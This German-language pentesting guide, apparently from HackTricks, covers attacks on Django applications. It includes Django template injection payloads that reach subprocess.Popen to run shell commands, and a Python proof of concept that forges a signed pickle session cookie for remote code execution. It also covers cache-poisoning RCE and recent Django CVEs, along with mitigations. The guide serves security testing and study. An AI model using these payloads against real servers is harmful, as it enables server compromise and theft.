Django

Reading time: 3 minutes

{{#include /banners/hacktricks-training.md}}

Cache-Manipulation zu RCE

Die standardmäßige Cache-Speichermethode von Django sind Python-Pickles, was zu RCE führen kann, wenn nicht vertrauenswürdige Eingaben entpickelt werden. Wenn ein Angreifer Schreibzugriff auf den Cache erlangen kann, kann er diese Schwachstelle zu RCE auf dem zugrunde liegenden Server eskalieren.

Der Django-Cache wird an einem von vier Orten gespeichert: Redis, Speicher, Dateien oder eine Datenbank. Caches, die in einem Redis-Server oder einer Datenbank gespeichert sind, sind die wahrscheinlichsten Angriffsvektoren (Redis-Injection und SQL-Injection), aber ein Angreifer könnte auch in der Lage sein, den dateibasierten Cache zu nutzen, um einen beliebigen Schreibvorgang in RCE umzuwandeln. Die Maintainer haben dies als kein Problem eingestuft. Es ist wichtig zu beachten, dass der Cache-Dateiordner, der SQL-Tabellenname und die Details des Redis-Servers je nach Implementierung variieren.

Dieser HackerOne-Bericht bietet ein großartiges, reproduzierbares Beispiel für die Ausnutzung des Django-Caches, der in einer SQLite-Datenbank gespeichert ist: https://hackerone.com/reports/1415436


Server-Side Template Injection (SSTI)

Die Django-Template-Sprache (DTL) ist turing-vollständig. Wenn vom Benutzer bereitgestellte Daten als Template-String gerendert werden (zum Beispiel durch den Aufruf von Template(user_input).render() oder wenn |safe/format_html() das automatische Escaping entfernt), kann ein Angreifer vollständige SSTI → RCE erreichen.

Erkennung

  1. Suchen Sie nach dynamischen Aufrufen von Template() / Engine.from_string() / render_to_string(), die irgendwelche unsanierten Anforderungsdaten enthalten.
  2. Senden Sie eine zeitbasierte oder arithmetische Payload:
django
{{7*7}}

Wenn die gerenderte Ausgabe 49 enthält, wird die Eingabe vom Template-Engine kompiliert.

Primitive zu RCE

Django blockiert den direkten Zugriff auf __import__, aber der Python-Objektgraph ist erreichbar:

django
{{''.__class__.mro()[1].__subclasses__()}}

Finde den Index von subprocess.Popen (≈400–500 je nach Python-Build) und führe beliebige Befehle aus:

django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Ein sicherer universeller Gadget ist, bis cls.__name__ == 'Popen' zu iterieren.

Dasselbe Gadget funktioniert für Debug Toolbar oder Django-CMS Template-Rendering-Funktionen, die Benutzereingaben falsch behandeln.


Wenn die Einstellung SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' aktiviert ist (oder ein benutzerdefinierter Serializer, der Pickle deserialisiert), entschlüsselt und entpickelt Django das Sitzungscookie bevor irgendein View-Code aufgerufen wird. Daher reicht es aus, einen gültigen Signaturschlüssel (den Projekt SECRET_KEY standardmäßig) zu besitzen, um sofortige Remote-Code-Ausführung zu ermöglichen.

Exploit-Anforderungen

  • Der Server verwendet PickleSerializer.
  • Der Angreifer kennt / kann settings.SECRET_KEY erraten (Lecks über GitHub, .env, Fehlerseiten usw.).

Proof-of-Concept

python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Senden Sie das resultierende Cookie, und die Payload wird mit den Berechtigungen des WSGI-Workers ausgeführt.

Minderungen: Behalten Sie den Standard JSONSerializer, rotieren Sie SECRET_KEY und konfigurieren Sie SESSION_COOKIE_HTTPONLY.


Aktuelle (2023-2025) Hochrisiko-Django-CVEs, die Pentester überprüfen sollten

  • CVE-2025-48432Protokollinjektion über nicht escaped request.path (behoben am 4. Juni 2025). Ermöglicht Angreifern, Zeilenumbrüche/ANSI-Codes in Protokolldateien zu schmuggeln und die nachgelagerte Protokollanalyse zu vergiften. Patch-Level ≥ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005Kritische SQL-Injektion in QuerySet.values()/values_list() auf JSONField (CVSS 9.8). Erstellen Sie JSON-Schlüssel, um aus der Anführungszeichen zu brechen und beliebige SQL-Befehle auszuführen. Behoben in 4.2.15 / 5.0.8.

Fingerabdruck immer die genaue Framework-Version über die X-Frame-Options-Fehlerseite oder den Hash von /static/admin/css/base.css und testen Sie die oben genannten, wo anwendbar.


Referenzen

  • Django-Sicherheitsfreigabe – "Django 5.2.2, 5.1.10, 4.2.22 behebt CVE-2025-48432" – 4. Juni 2025.
  • OP-Innovate: "Django veröffentlicht Sicherheitsupdates zur Behebung der SQL-Injektionsanfälligkeit CVE-2024-42005" – 11. Aug. 2024.

{{#include /banners/hacktricks-training.md}}